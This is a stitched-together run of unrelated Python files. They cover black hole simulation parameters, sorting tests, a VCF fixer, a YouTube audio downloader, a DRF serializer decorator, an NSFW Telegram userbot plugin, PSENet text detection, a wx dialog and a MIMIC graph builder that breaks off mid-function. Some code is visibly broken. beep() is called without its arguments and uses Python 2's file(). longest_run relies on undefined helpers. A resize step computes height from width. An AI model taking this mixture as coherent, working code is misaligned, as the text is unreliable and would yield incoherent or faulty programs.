"""
Python module for managing initial parameters for binary black hole (BBH) simulations.

License: Lesser GNU Public License, version 2.0+

Author: Zachariah B. Etienne
        zachetie **at** gmail **dot* com
"""
from collections import namedtuple  # Standard Python: Enable namedtuple data type
from typing import Dict

bbh_params = namedtuple(
    "bbh_params",
    "q d M_chix M_chiy M_chiz m_chix m_chiy m_chiz p_t p_r bare_mass_m_plus bare_mass_m_minus NA NB Nphi",
)
bbh_params_dict: Dict[str, bbh_params] = {}

def add_to_bbh_params_dict(
    name: str,
    q: float = 1.0,
    d: float = 2.0,
    M_chix: float = 0.0,
    M_chiy: float = 0.0,
    M_chiz: float = 0.0,
    m_chix: float = 0.0,
    m_chiy: float = 0.0,
    m_chiz: float = 0.0,
    p_t: float = 0.0,
    p_r: float = 0.0,
    bare_mass_m_plus: float = -1.0,
    bare_mass_m_minus: float = -1.0,
    NA: int = -1,
    NB: int = -1,
    Nphi: int = -1,
) -> None:
    """
    Add a new entry to the bbh_params_dict with the given parameters.

    :param name: The name identifier for the bbh parameters.
    :param q: Mass ratio.
    :param d: Separation.
    :param M_chix: Spin of the larger black hole in the x-direction.
    :param M_chiy: Spin of the larger black hole in the y-direction.
    :param M_chiz: Spin of the larger black hole in the z-direction.
    :param m_chix: Spin of the smaller black hole in the x-direction.
    :param m_chiy: Spin of the smaller black hole in the y-direction.
    :param m_chiz: Spin of the smaller black hole in the z-direction.
    :param p_t: Tangential momentum.
    :param p_r: Radial momentum.
    :param bare_mass_m_plus: Bare mass of the larger black hole.
    :param bare_mass_m_minus: Bare mass of the smaller black hole.
    :param NA: Number of grid points in A region.
    :param NB: Number of grid points in B region.
    :param Nphi: Number of azimuthal grid points.
    """
    bbh_params_dict[name] = bbh_params(
        q,
        d,
        M_chix,
        M_chiy,
        M_chiz,
        m_chix,
        m_chiy,
        m_chiz,
        p_t,
        p_r,
        bare_mass_m_plus,
        bare_mass_m_minus,
        NA,
        NB,
        Nphi,
    )

add_to_bbh_params_dict(
    "GW150914ET",
    q=36.0 / 29.0,
    d=10.0,
    M_chiy=+0.31,
    m_chiy=-0.46,
    p_t=0.09530152296974252,
    p_r=0.00084541526517121,
    NA=30,
    NB=30,
    Nphi=16,
)
add_to_bbh_params_dict(
    "BHB_q1_chi_m_0.3__chi_M_0_sep_11p8",
    q=1.0,
    d=5.9 * 2.0,
    m_chiy=0.075 / (0.5 * 0.5),  # J=0.075 is given, and chi = J/m^2, with m=0.5
    p_t=0.0852865,
    p_r=0.000515022,
    bare_mass_m_plus=0.48811120218500131,
    bare_mass_m_minus=0.4698442439908046,
    NA=64,
    NB=64,
    Nphi=44,
)
add_to_bbh_params_dict(
    "q1sep10",
    q=1.0,
    d=10.0,
    p_t=0.0962578089026658,
    p_r=0.00100787185295814,  # from NRPyPN
    NA=44,
    NB=44,
    Nphi=28,
)
add_to_bbh_params_dict(
    "q1sep8",
    q=1.0,
    d=8.0,
    p_t=0.112845235097096,
    p_r=0.00228434381143799,  # from NRPyPN
    NA=44,
    NB=44,
    Nphi=28,
)
add_to_bbh_params_dict(
    "q4sep11RITBBH0088",
    q=4.0,
    d=11.0,
    p_t=0.0578913282748551,
    p_r=0.000302008048634052,  # from NRPyPN
    NA=48,
    NB=48,
    Nphi=20,
)
add_to_bbh_params_dict(
    "q6sep13_SXSBBH0166",
    q=6.0,
    d=13.0,
    p_t=0.0396619891606381,
    p_r=0.000101374427664241,  # from NRPyPN
    NA=66,
    NB=66,
    Nphi=28,
)
add_to_bbh_params_dict(
    "q4sep12p5_SXSBBH0167",
    q=4.0,
    d=12.5,
    p_t=0.0531333569625095,
    p_r=0.000195987020545860,  # from NRPyPN
    NA=48,
    NB=48,
    Nphi=20,
)
add_to_bbh_params_dict(
    "q1sep12-1810.00036",
    # FROM TABLE V OF https://arxiv.org/pdf/1810.00036.pdf
    q=1.0,
    d=12.0,
    p_t=0.850686e-1,
    p_r=0.468113e-3,
    NA=44,
    NB=44,
    Nphi=24,
)
add_to_bbh_params_dict(
    "QC0_mclachlan",
    # From einsteinanalysis/Extract/test/qc0-mclachlan.par:
    q=1.0,
    d=1.168642873 * 2,
    p_t=0.3331917498,
    p_r=0.0,
    bare_mass_m_plus=0.453,
    bare_mass_m_minus=0.453,
    NA=24,
    NB=24,
    Nphi=18,
)
add_to_bbh_params_dict(
    "QC0",
    q=1.0,
    d=1.168642873 * 2,
    p_t=0.3331917498,
    p_r=0.0,
    bare_mass_m_plus=0.453,
    bare_mass_m_minus=0.453,
)
add_to_bbh_params_dict(
    "TP_BL",
    # TwoPunctures version of Brill-Lindquist
    # (trivial solve, but beware orbital separation=0 won't work)
    q=3.0,
    d=14.5,
    p_t=0.0,
    p_r=0.0,
    NA=10,
    NB=10,
    Nphi=6,
)

#
# def output_bbh_parfile_library():
#     # Loop through the bbh_params_dict items to populate the body string
#     for key, item in bbh_params_dict.items():
#         body += f""" else if(strcmp(TP_ID_type, "{key}")==0) {{
#         commondata->mass_ratio = {item.q};
#         commondata->initial_orbital_separation = {item.d};
#     """
#         if item.M_chix != 0.0:
#             body += f"    commondata->chi_BH_M[0] = {item.M_chix};\n"
#         if item.M_chiy != 0.0:
#             body += f"    commondata->chi_BH_M[1] = {item.M_chiy};\n"
#         if item.M_chiz != 0.0:
#             body += f"    commondata->chi_BH_M[2] = {item.M_chiz};\n"
#
#         if item.m_chix != 0.0:
#             body += f"    commondata->chi_BH_m[0] = {item.m_chix};\n"
#         if item.m_chiy != 0.0:
#             body += f"    commondata->chi_BH_m[1] = {item.m_chiy};\n"
#         if item.m_chiz != 0.0:
#             body += f"    commondata->chi_BH_m[2] = {item.m_chiz};\n"
#
#         body += f"    commondata->initial_p_t = {item.p_t};\n"
#         body += f"    commondata->initial_p_r = {item.p_r};\n"
#
#         if item.bare_mass_m_plus != -1.0 and item.bare_mass_m_minus != -1.0:
#             body += f"    par->give_bare_mass = true; //User provides bare masses rather than target ADM masses\n"
#             body += f"    par->par_m_plus = {item.bare_mass_m_plus};\n"
#             body += f"    par->par_m_minus = {item.bare_mass_m_minus};\n"
#
#         if item.NA > 0:
#             body += f"    par->npoints_A   = {item.NA};\n"
#         if item.NB > 0:
#             body += f"    par->npoints_B   = {item.NB};\n"
#         if item.Nphi > 0:
#             body += f"    par->npoints_phi = {item.Nphi};\n"
#
#         body += "  }"
#
#     body += r""" else {
#         fprintf(stderr, "Error: did not recognize TwoPunctures ID type = %s\n", TP_ID_type);
#         fprintf(stderr, "       Please pick one of the following library cases, or choose your own parameters:\n");
#         fprintf(stderr,"""
#
#     keys_str = ",".join([f"{key}\\n" for key in bbh_params_dict.keys()])
#     body += f'"{keys_str}\\n"'
#     body += r""");
#         exit(1);
#       }"""


import unittest
import random
from mergesorting import mergesort
from insertionsorting import insertionsort

number_of_test_cases=10000
class SearchTestCase(unittest.TestCase):

    def test_insertionsort(self):

        randomnum=random.sample(range(100000),number_of_test_cases)
        sortednum=sorted(randomnum)
        self.assertEqual(insertionsort(randomnum),sortednum)

    def test_mergesort(self):

        randomnum=random.sample(range(100000),number_of_test_cases)
        sortednum=sorted(randomnum)
        self.assertEqual(mergesort(randomnum),sortednum)

if __name__=='__main__':
    unittest.main()


import os
import sys

def reduce_seqs(first,second,idx):
    """
    TA T --> error
    TA A --> TA
    T T --> TT
    A TT --> ATT
    AA * --> AA
    """
    if not first:
        return second
    if len(first) == 1:
        return first + second
    if second == "*":
        return first
    if (len(first) > (idx + 1 )):
        assert (first[idx:] == second[idx:len(first)-1])
    return first[:idx+1] + second[len(first)- idx:]
    # return first[:idx] + second[:len(first)-1]

def fix_lines(lines, samples):

    if len(lines) == 1:
        return lines[0]
    final_ref = ""

    sample_gts1 = {s: "" for s in samples}
    sample_gts2 = {s: "" for s in samples}
    for idx_line, l in enumerate(lines):
        vec = l.split()
        ref = vec[3]
        # pos = int(vec[1])
        alts = {i: x for i, x in enumerate(vec[4].split(","))}

        gt_options = {k + 1: v for k, v in alts.items()}
        gt_options[0] = ref

        final_ref=reduce_seqs(final_ref,ref,idx_line)
        # ref = "".join([ref_tmp[i] for i in range(pos - i, pos)]) + ref

        format_f = vec[8]
        for idx, sample in enumerate(samples):
            gt_index = [i for i, x in enumerate(format_f.split(":")) if x == "GT"][0]
            gt = vec[9 + idx].split(":")[gt_index].replace("|","/")
            gt1,gt2 = gt.split("/")
            gt1,gt2 = int(gt1),int(gt2)
            sample_gts1[sample] = reduce_seqs(sample_gts1[sample],gt_options[gt1],idx_line)
            sample_gts2[sample] = reduce_seqs(sample_gts2[sample],gt_options[gt2],idx_line)
    alts = list(set(list(sample_gts1.values()) + list(sample_gts2.values())) - set([final_ref]) )
    ref_and_alts = [final_ref] + alts
    gts = []
    for sample in samples:
        alt1 = sample_gts1[sample]
        alt2 = sample_gts2[sample]
        alt = str(ref_and_alts.index(alt1)) + "/" + str(ref_and_alts.index(alt2))
        gts.append(alt)

    new_lines = lines[0].split("\t")
    new_lines[3] = final_ref
    new_lines[4] = ",".join(alts)

    for idx,s in enumerate(samples):
        new_lines[9 + idx] = gts[idx] + ":" + ":".join(new_lines[9 + idx].split(":")[1:])

    return "\t".join(new_lines)

if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='fix vcf errors')
    parser.add_argument('vcf_in')
    parser.add_argument('-v', '--verbose', action='store_true')
    parser.add_argument('-o', '--output',default=None)

    args = parser.parse_args()

    if args.verbose:
        os.environ["verbose"] = "y"
    if args.output:
        hw = open(args.output,"w")
    else:
        hw = sys.stdout

    try:
        if args.vcf_in != "-":
            h = open(args.vcf_in)
        else:
            h = sys.stdin
        prevlines = []
        prevpos = None
        for l in h:
            if l.startswith("#CHROM"):
                samples = l.split()[9:]
            if l.startswith("#"):
                hw.write(l)
            else:
                vec = l.split()
                pos = int(vec[1])
                if not prevlines:
                    prevlines.append(l)
                    prevpos = pos
                else:
                    if prevpos == (pos - 1):
                        prevlines.append(l)
                        prevpos = pos
                    else:
                        try:
                            fixed_lines = fix_lines(prevlines, samples)
                            hw.write(fixed_lines)
                        except:
                            for l in  prevlines:
                                hw.write(l)

                        prevlines = [l]
                        prevpos = pos
        hw.write(fix_lines(prevlines, samples))
    finally:
        if args.vcf_in != "-":
            h.close()
        hw.close()


def beep(frequency, amplitude, duration):
    sample = 8000
    half_period = int(sample/frequency/2)
    beep = chr(amplitude)*half_period+chr(0)*half_period
    beep *= int(duration*frequency)
    audio = file('/dev/audio', 'wb')
    audio.write(beep)
    audio.close()

beep()


from pytube import *
import os
import re
from moviepy.editor import *

def listar(url):
    playlist = Playlist(url)
    titulo = playlist.title
    links=[]
    for video in playlist.videos:
        links.append(video)
    return titulo, playlist

def listarv(url):
    video = YouTube(url)
    titulo = video.title
    return titulo, url

def novo_titulo(titulo):
    novotitulo=""
    lista=re.split('\s|\-|\/|\'', titulo)
    for indice, item in enumerate(lista):
        if item != "":
            novotitulo += item
            if indice < (len(lista)-1):
                novotitulo += '-'
    return novotitulo

def criar_pasta(titulo):
    novotitulo=novo_titulo(titulo)
    local=f'{os.path.expanduser("~")}/Música/{novotitulo}'
    if  os.path.exists(local) == False:
        os.mkdir(local)
    return local

def baixar_video(local, link):
    video=YouTube(link)
    titulo=novo_titulo(video.title)+'.mp4'
    localvideo=f'{local}/{titulo}'
    if os.path.exists(localvideo) == False:
        video.streams.get_highest_resolution().download(filename=titulo, output_path=local)
        print(f'Vídeo: {titulo[:-4]} ...OK')
    else:
        print(f'Vídeo: {titulo[:-4]} ...OK (já baixado!)')
    return titulo

def converter_video(local, titulo):
    novotitulo=titulo[:-4]+'.mp3'
    video = VideoFileClip(os.path.join(f'{local}/{titulo}'))
    video.audio.write_audiofile(os.path.join(f'{local}/{novotitulo}'))
    print(f'Áudio: {novotitulo} ...OK')

def apagar_video(local, titulo):
    localvideo=f'{local}/{titulo}'
    if os.path.exists(localvideo) == True:
        os.remove(localvideo)
    print(f'Vídeo: {titulo} ...APAGADO')

if __name__ == '__main__':
    from argparse import ArgumentParser
    parser = ArgumentParser(description='Baixar audio de videos do YouTube')
    parser.add_argument('-p', '--playlist', type=str, help='Baixar uma playlist de vídeos', required=False)
    parser.add_argument('-v', '--video', type=str, help='Baixar um vídeo', required=False)
    argumentos = parser.parse_args()

    if argumentos.video != None and argumentos.playlist == None:
        titulo, link = listarv(argumentos.video)
        local = criar_pasta(titulo)
        videotitulo = baixar_video(local, link)
        converter_video(local, videotitulo)
        apagar_video(local, videotitulo)
    if argumentos.playlist != None and argumentos.video == None:
        titulo, links =  listar(argumentos.playlist)
        local = criar_pasta(titulo)
        for link in links:
            videotitulo = baixar_video(local, link)
            converter_video(local, videotitulo)
            apagar_video(local, videotitulo)
    else:
        from Janela import *
        j=MainApp().run()


def longest_run(L):
    """
    Assumes L is a list of integers containing at least 2 elements.
    Finds the longest run of numbers in L, where the longest run can
    either be monotonically increasing or monotonically decreasing.
    In case of a tie for the longest run, choose the longest run
    that occurs first.
    Does not modify the list.
    Returns the sum of the longest run.
    """
    firstone = mIncreasing(L)
    secondone = mDecreasing(L)
    result = 0
    if len(firstone) > len(secondone) :
        for i in firstone:
            result += i
    elif len(firstone) == len(secondone) :
        for i in L:
            if sum(firstone) == sum(secondone):
                for r in firstone:
                    result += r
                break
            if i in firstone and not i in secondone:
                for j in firstone:
                    result += j
                break
            elif i in secondone and not i in firstone:
                for k in secondone:
                    result += k
                break

    elif len(firstone) < len(secondone):
        for i in secondone:
            result += i
    return result


import copy
import functools
from collections import namedtuple
from dataclasses import dataclass, field
from typing import TYPE_CHECKING, Any, Dict, List, Optional, Type, Union

from django.conf import settings
from django.http.response import HttpResponseBase
from django.utils.module_loading import import_string
from rest_framework import status
from rest_framework.exceptions import ValidationError
from rest_framework.fields import empty
from rest_framework.serializers import BaseSerializer
from rest_framework.settings import api_settings
from rest_framework.utils.serializer_helpers import ReturnDict, ReturnList

if TYPE_CHECKING:
    from rest_framework.request import Request

def stringify_validation_error(error: ValidationError) -> List[str]:
    """Transform DRF's ValidationError into a list of error strings

    >>> stringify_validation_error(ValidationError({'foo': ErrorDetail('err')}))
    ['foo: err']
    """
    results: List[str] = []

    def traverse(err_detail: Any, keys: List[str]):
        """Traverse error data to collect all error messages"""

        # Dig deeper when structure is list or dict
        if isinstance(err_detail, (ReturnList, list, tuple)):
            for err in err_detail:
                traverse(err, keys)
        elif isinstance(err_detail, (ReturnDict, dict)):
            for key, err in err_detail.items():
                # Make a copy of keys so the inner loop won't affect outer scope
                _keys = copy.copy(keys)
                if key != api_settings.NON_FIELD_ERRORS_KEY:
                    _keys.append(str(key))
                traverse(err, _keys)
        else:
            if not keys:
                results.append(str(err_detail))
            else:
                results.append("{}: {}".format(".".join(keys), str(err_detail)))

    traverse(error.detail, [])
    return sorted(results)

#############
# drf crown #
#############
class WearOptions:
    is_unittest = False
    skip_swagger_schema = False

try:
    from drf_yasg.utils import swagger_auto_schema

except ImportError:
    WearOptions.skip_swagger_schema = True

ResponseParams = namedtuple("ResponseParams", "data,params")

_DEFAULT_SETTINGS_PREFIX = "DRF_CROWN_"

def enable_unittest():
    """Call me when you running testing"""
    WearOptions.is_unittest = True

@dataclass
class Config:
    """Config for Injector, control the process of injecting"""

    return_validated_data: bool = True
    remain_request: bool = False
    # sometime return raw data instead of serializer
    skip_out_cls: bool = False
    default_return_status: status = status.HTTP_200_OK

@dataclass
class ViewCrown:
    """A injector for injecting serializer as dependency"""

    body_in: Optional[Union[Type[BaseSerializer], BaseSerializer]]
    query_in: Optional[Union[Type[BaseSerializer], BaseSerializer]]
    out: Union[Type[BaseSerializer], BaseSerializer]
    config_params: Optional[dict] = field(default_factory=dict)
    valid_params: dict = field(default_factory=dict)

    def __post_init__(self):
        if self.query_in and self.body_in:
            raise ValueError("there should be only one param between in_body & in_query")

        self.valid_params = self.valid_params or {"raise_exception": True}

        # Priority decreases
        # 1. config as parameter from decorator
        # 2. config from django.settings
        # 3. config from Config class(above)
        _config = getattr(settings, _DEFAULT_SETTINGS_PREFIX + "DEFAULT_CONFIG", {}).copy()
        _config.update(self.config_params or {})
        self.config = Config(**_config)

        # remain an entrance for custom response class
        try:
            self.resp_cls = import_string(getattr(settings, _DEFAULT_SETTINGS_PREFIX + "RESP_CLS"))
        except AttributeError:
            self.resp_cls = import_string("rest_framework.response.Response")

    def get_in_serializer_instance(self, request: Optional["Request"] = None) -> "BaseSerializer":
        if not self.body_in and not self.query_in:
            raise ValueError("should given at least one serializer input")

        _data = empty
        if self.body_in:
            _in = self.body_in

            if request is not None:
                _data = getattr(request, "data")
        else:
            _in = self.query_in

            if request is not None:
                _data = getattr(request, "query_params")

        if isinstance(_in, BaseSerializer):
            # 由于传入的是全局对象，会残留上一次请求的结果
            # 这里需要手动清理一下
            if hasattr(_in, "_validated_data"):
                delattr(_in, "_validated_data")

            _in.initial_data = _data
            slz_obj = _in
        elif issubclass(_in, BaseSerializer):
            slz_obj = _in(data=_data)
        else:
            raise ValueError("unknown serializer input")

        return slz_obj

    def get_serializer_instance_by_request(self, request: "Request") -> "BaseSerializer":
        """Get in serializer instance"""
        slz_obj = self.get_in_serializer_instance(request)
        slz_obj.is_valid(**self.valid_params)
        return slz_obj

    def get_validated_data(self, request: "Request") -> dict:
        """Get validated data via in_serializer"""
        return self.get_serializer_instance_by_request(request).validated_data

    def get_in_params(self, request: "Request") -> dict:
        """Get extra params before view logic"""
        if WearOptions.is_unittest:
            return {}

        if self.config.return_validated_data:
            return {"validated_data": self.get_validated_data(request)}
        else:
            return {"serializer_instance": self.get_serializer_instance_by_request(request)}

    def get_response(self, data, out_params: dict) -> Any:
        """Get Response data"""
        if WearOptions.is_unittest:
            return data

        if self.config.skip_out_cls:
            return data

        if isinstance(data, (self.resp_cls, HttpResponseBase)):
            return data

        if isinstance(self.out, BaseSerializer):
            # 由于传入的是全局对象，会残留上一次请求的结果
            # 这里需要手动清理一下
            if hasattr(self.out, "_data"):
                delattr(self.out, "_data")

            self.out.instance = data
            _data = self.out.data
        elif issubclass(self.out, BaseSerializer):
            _data = self.out(data, **out_params).data
        else:
            raise ValueError("unknown serializer output")

        return self.resp_cls(data=_data, status=self.config.default_return_status)

def generate_swagger_params(crown: ViewCrown, swagger_params: dict) -> dict:
    """
    assemble params for swagger_auto_schema by crown
    """
    default_params = {}
    if crown.body_in:
        default_params = {"request_body": crown.get_in_serializer_instance()}
    elif crown.query_in:
        default_params = {"query_serializer": crown.get_in_serializer_instance()}

    if crown.out:
        default_params.update({"responses": {crown.config.default_return_status: crown.out}})

    default_params.update(swagger_params or {})
    return default_params

def inject_serializer(
    body_in: Optional[Union[Type[BaseSerializer], BaseSerializer]] = None,
    query_in: Optional[Union[Type[BaseSerializer], BaseSerializer]] = None,
    out: Optional[Union[Type[BaseSerializer], BaseSerializer]] = None,
    config: Optional[dict] = None,
    **swagger_kwargs
):
    """
    Sugar for simpling drf serializer specification
    :param body_in: input serializer (request body)
    :param query_in: input serializer (query)
    :param out: output serializer
    :param config: initial info of Config
    :param swagger_kwargs: pass to swagger_auto_schema of drf-yasg
    """

    def decorator_serializer_inject(func):
        crown = ViewCrown(body_in, query_in, out, config)

        if not WearOptions.skip_swagger_schema:
            func = swagger_auto_schema(**generate_swagger_params(crown, swagger_kwargs))(func)

        @functools.wraps(func)
        def decorated(*args, **kwargs):
            new_args = list(args)
            in_content: Dict[str, Any] = {}
            if body_in or query_in:
                in_content.update(**crown.get_in_params(new_args[1]))

            if not crown.config.remain_request:
                del new_args[1]

            original_data = func(*new_args, **kwargs, **in_content)
            if not out:
                return original_data

            # support runtime serializer params, like "context"
            params = {}
            if isinstance(original_data, ResponseParams):
                params = original_data.params
                original_data = original_data.data

            return crown.get_response(original_data, params)

        return decorated

    return decorator_serializer_inject


# By @kirito6969 for PepeBot
# Don't edit credits Madafaka
"""
This module can search images in danbooru and send in to the chat!
──「 **Danbooru Search** 」──
"""

import os
import urllib

import requests

from userbot import catub

from ..helpers.functions import age_verification
from . import edit_delete, edit_or_reply, reply_id, useless

plugin_category = "useless"

@catub.cat_cmd(
    pattern="ani(mu|nsfw) ?([\s\S]*)",
    command=("ani", plugin_category),
    info={
        "header": "Contains NSFW 🔞.\nTo search images in danbooru!",
        "usage": [
            "{tr}animu <query>",
            "{tr}aninsfw <nsfw query>",
        ],
        "examples": [
            "{tr}animu naruto",
            "{tr}aninsfw naruto",
        ],
    },
)
async def danbooru(event):
    "Get anime charecter pic or nsfw"
    reply_to = await reply_id(event)
    if await age_verification(event, reply_to):
        return
    await edit_or_reply(event, "`Processing…`")
    flag = await useless.importent(event)
    if flag:
        return
    rating = "Explicit" if "nsfw" in event.pattern_match.group(1) else "Safe"
    search_query = event.pattern_match.group(2)
    params = {
        "limit": 1,
        "random": "true",
        "tags": f"Rating:{rating} {search_query}".strip(),
    }
    with requests.get(
        "http://danbooru.donmai.us/posts.json", params=params
    ) as response:
        if response.status_code == 200:
            response = response.json()
        else:
            return await edit_delete(
                event, f"**An error occurred, response code: **`{response.status_code}`"
            )

    if not response:
        return await edit_delete(event, f"**No results for query:** __{search_query}__")
    valid_urls = [
        response[0][url]
        for url in ["file_url", "large_file_url", "source"]
        if url in response[0].keys()
    ]
    if not valid_urls:
        return await edit_delete(
            event, f"**Failed to find URLs for query:** __{search_query}__"
        )
    for image_url in valid_urls:
        try:
            await event.client.send_file(event.chat_id, image_url, reply_to=reply_to)
            await event.delete()
            return
        except Exception as e:
            await edit_or_reply(event, f"{e}")
    await edit_delete(event, f"**Failed to fetch media for query:** __{search_query}__")

@catub.cat_cmd(
    pattern="boobs(?:\s|$)([\s\S]*)",
    command=("boobs", plugin_category),
    info={
        "header": "NSFW 🔞\nYou know what it is, so do I !",
        "usage": "{tr}boobs",
        "examples": "{tr}boobs",
    },
)
async def boobs(e):
    "Search boobs"
    reply_to = await reply_id(e)
    if await age_verification(e, reply_to):
        return
    a = await edit_or_reply(e, "`Sending boobs...`")
    flag = await useless.importent(e)
    if flag:
        return
    nsfw = requests.get("http://api.oboobs.ru/noise/1").json()[0]["preview"]
    urllib.request.urlretrieve(f"http://media.oboobs.ru/{nsfw}", "boobs.jpg")
    await e.client.send_file(e.chat_id, "boobs.jpg", reply_to=reply_to)
    os.remove("boobs.jpg")
    await a.delete()

@catub.cat_cmd(
    pattern="butts(?:\s|$)([\s\S]*)",
    command=("butts", plugin_category),
    info={
        "header": "NSFW 🔞\nBoys and some girls likes to Spank this 🍑",
        "usage": "{tr}butts",
        "examples": "{tr}butts",
    },
)
async def butts(e):
    "Search beautiful butts"
    reply_to = await reply_id(e)
    if await age_verification(e, reply_to):
        return
    a = await edit_or_reply(e, "`Sending beautiful butts...`")
    flag = await useless.importent(e)
    if flag:
        return
    nsfw = requests.get("http://api.obutts.ru/butts/10/1/random").json()[0]["preview"]
    urllib.request.urlretrieve(f"http://media.obutts.ru/{nsfw}", "butts.jpg")
    await e.client.send_file(e.chat_id, "butts.jpg", reply_to=reply_to)
    os.remove("butts.jpg")
    await a.delete()


import numpy as np
import cv2
import keras
from models.psenet import psenet
from tool.utils import ufunc_4 , scale_expand_kernels ,fit_minarearectange,fit_boundingRect_2,text_porposcal

inputs = keras.layers.Input(shape = (None,None,3))
outputs = psenet(inputs)
model = keras.models.Model(inputs,outputs)
model.load_weights('resent50-190219_BLINEAR-iou8604.hdf5')

MIN_LEN = 640
MAX_LEN = 1240

def predict(images):
    h,w = images.shape[0:2]
    if(w<h):
        if(h<MIN_LEN):
            scale = 1.0 * MIN_LEN / h
            w = w * scale
            h = MIN_LEN
        elif(h>MAX_LEN):
            scale = 1.0 * MAX_LEN / h
            w = w * scale
            h = MAX_LEN
    elif(h<=w ):
        if(w<MIN_LEN):
            scale = 1.0 * MIN_LEN /w
            h = scale * h
            w = MIN_LEN
        elif(w>MAX_LEN):
            scale = 1.0 * MAX_LEN /w
            h = scale * w
            h = MAX_LEN

    w = int(w //32 * 32)
    h = int(h//32 * 32)

    scalex = images.shape[1] / w
    scaley = images.shape[0] / h

    images = cv2.resize(images,(w,h),cv2.INTER_AREA)
    images = np.reshape(images,(1,h,w,3))

    res = model.predict(images[0:1,:,:,:])

    res1 = res[0]
    res1[res1>0.9]= 1
    res1[res1<=0.9]= 0
    newres1 = []
    for i in [2,4]:
        n = np.logical_and(res1[:,:,5],res1[:,:,i]) * 255
        newres1.append(n)
    newres1.append(res1[:,:,5]*255)

    num_label,labelimage = scale_expand_kernels(newres1,filter=False)
    rects = fit_boundingRect_2(num_label,labelimage)

    im = np.copy(images[0])
    for rt in rects:
        cv2.rectangle(im,(rt[0]*2,rt[1]*2),(rt[2]*2,rt[3]*2),(0,255,0),2)

    g = text_porposcal(rects,res1.shape[1],max_dist=8,threshold_overlap_v=0.3)
    rects = g.get_text_line()

    for rt in rects:
        cv2.rectangle(im,(rt[0]*2,rt[1]*2-2),(rt[2]*2,rt[3]*2),(0,0,255),2)
    cv2.imwrite('test.png',im)

    return rects


# coding:utf-8
import wx

class AutoSyncDialog(wx.Dialog):
    pass

class BatchTaskDialog(wx.Dialog):
    def __init__(self, parent, title, data):
        wx.Dialog.__init__(self, parent, title=title)
        self.parent = parent
        self._data = data
        self.do_layouts()
        self.do_binds()
        self.update()

    def do_layouts(self):
        self.lb = lb = wx.CheckListBox(self, -1, (80, 50), wx.DefaultSize, self._data)
        main_sizer = wx.BoxSizer(wx.VERTICAL)
        main_sizer.Add(lb, 7, wx.EXPAND)

        self.cb = cb = wx.CheckBox(self, -1, u'全选')
        main_sizer.Add(cb, 1, wx.EXPAND | wx.LEFT, 5)

        btn_sizer = wx.StdDialogButtonSizer()
        ok_btn = wx.Button(self, id=wx.ID_OK, label=u'确定')
        ok_btn.Enable(False)
        self.ok_btn = ok_btn
        cancel_btn = wx.Button(self, id=wx.ID_CANCEL, label=u'取消')
        btn_sizer.AddButton(ok_btn, )
        btn_sizer.AddButton(cancel_btn)
        btn_sizer.Realize()  # important!!

        main_sizer.AddSizer(btn_sizer, 2, wx.ALIGN_RIGHT)
        self.SetSizer(main_sizer)
        self.Fit()

    def do_binds(self):
        self.Bind(wx.EVT_CHECKBOX, self.OnToggleSelectAll, self.cb)
        self.Bind(wx.EVT_CHECKLISTBOX, self.OnToggleSelectLB, self.lb)

    def update(self):
        raw_title = self.GetTitle()
        frags = raw_title.split()
        suffix = '%d/%d' % self.count_items()
        if len(frags) == 1:
            frags.append(suffix)
        elif len(frags) == 2:
            frags[-1] = suffix
        new_title = ' '.join(frags)
        self.SetTitle(new_title)
    #     toggle`ok` button status
        self.ok_btn.Enable(len(self.get_checked_items()) > 0)

    def get_items_count(self):
        return len(self.lb.GetItems())

    def get_checked_items(self):
        _checked = []
        count = self.get_items_count()
        for i in range(count):
            if self.lb.IsChecked(i):
                _checked.append(i)
        return _checked

    def count_items(self):
        '''

        :return: (checked_items_count, all_items_count)
        '''
        return len(self.get_checked_items()), self.get_items_count()

    def OnToggleSelectAll(self, e):
        items_count = self.get_items_count()
        if e.IsChecked():
            for i in range(items_count):
                self.lb.Check(i)
        else:
            for i in range(items_count):
                self.lb.Check(i, check=False)
        self.update()

    def OnToggleSelectLB(self, event):
        index = event.GetSelection()
        if self.lb.IsChecked(index):
            self.lb.SetSelection(index)  # so that (un)checking also selects (moves the highlight)
        self.update()


import dgl
import torch
from tqdm import tqdm

import pandas as pd

import pickle

from pyhealth.datasets import MIMIC3Dataset, MIMIC4Dataset
from pyhealth.tasks import (
    drug_recommendation_mimic3_fn,
    mortality_prediction_mimic3_fn,
    length_of_stay_prediction_mimic3_fn,
    readmission_prediction_mimic3_fn,
    drug_recommendation_mimic4_fn,
    mortality_prediction_mimic4_fn,
    length_of_stay_prediction_mimic4_fn,
    readmission_prediction_mimic4_fn
)

class GraphConstructor:
    def __init__(self, config_graph):
        """

        :param config_graph:
        """
        self.config_graph = config_graph
        self.dataset_name = config_graph["dataset_name"]
        self.cache_path = config_graph["processed_path"]
        self.graph_path = config_graph["graph_output_path"]

        self.dataset = None
        self.graph = None
        self.mappings = None

        return

    def load_mimic(self):
        # Get mimic dataset from
        raw_path = self.config_graph["raw"]

        if "mimiciii" in raw_path:
            self.dataset = MIMIC3Dataset(
                root=raw_path,
                tables=["DIAGNOSES_ICD", "PROCEDURES_ICD", "PRESCRIPTIONS", "LABEVENTS"],
                # tables=["DIAGNOSES_ICD"],
                code_mapping={},
                dev=False,
            )
        elif "mimiciv" in raw_path:
            self.dataset = MIMIC4Dataset(
                root=raw_path,
                tables=["diagnoses_icd", "procedures_icd", "prescriptions", "labevents"],
                code_mapping={},
                dev=False,
            )
        else:
            raise NotImplementedError

    def construct_graph(self):
        # Construct graph with the loaded datasets and tables
        graph_data = self.get_graph_data()
        self.graph = dgl.heterograph(graph_data)

    def initialize_features(self):

        """
        Initialize node features of the graph
        :return:
        """

        # Naive approach: randomly initialize the features

    def get_graph_data(self):

        # TODO: load gender and sex as attribute nodes to patients

        patients = self.dataset.patients

        # Dictionaries of indices
        patients_dict = {k: i for i, k in enumerate(patients.keys())}
        visits_set = set()
        diagnosis_set = set()
        procedures_set = set()
        prescriptions_set = set()
        labevents_set = set()

        patient_visit_edges = []
        visit_diagnosis_edges = []
        visit_procedure_edges = []
        visit_prescription_edges = []
        visit_labevent_edges = []

        for patient in tqdm(patients.values()):
            # Load visit numbers to map
            for visit in patient.visits.keys():
                visits_set.add(visit)
                patient_visit_edges.append((patient.patient_id, visit))

            # Traverse events
            for visit in patient.visits.values():
                ev_dict = visit.event_list_dict

                for table in visit.available_tables:
                    # Load diagnosis
                    if table.upper() == "DIAGNOSES_ICD":
                        for ev in ev_dict[table]:
                            diagnosis_set.add(ev.code)
                            visit_diagnosis_edges.append((ev.visit_id, ev.code))

                    if table.upper() == "PROCEDURES_ICD":
                        # Load procedure
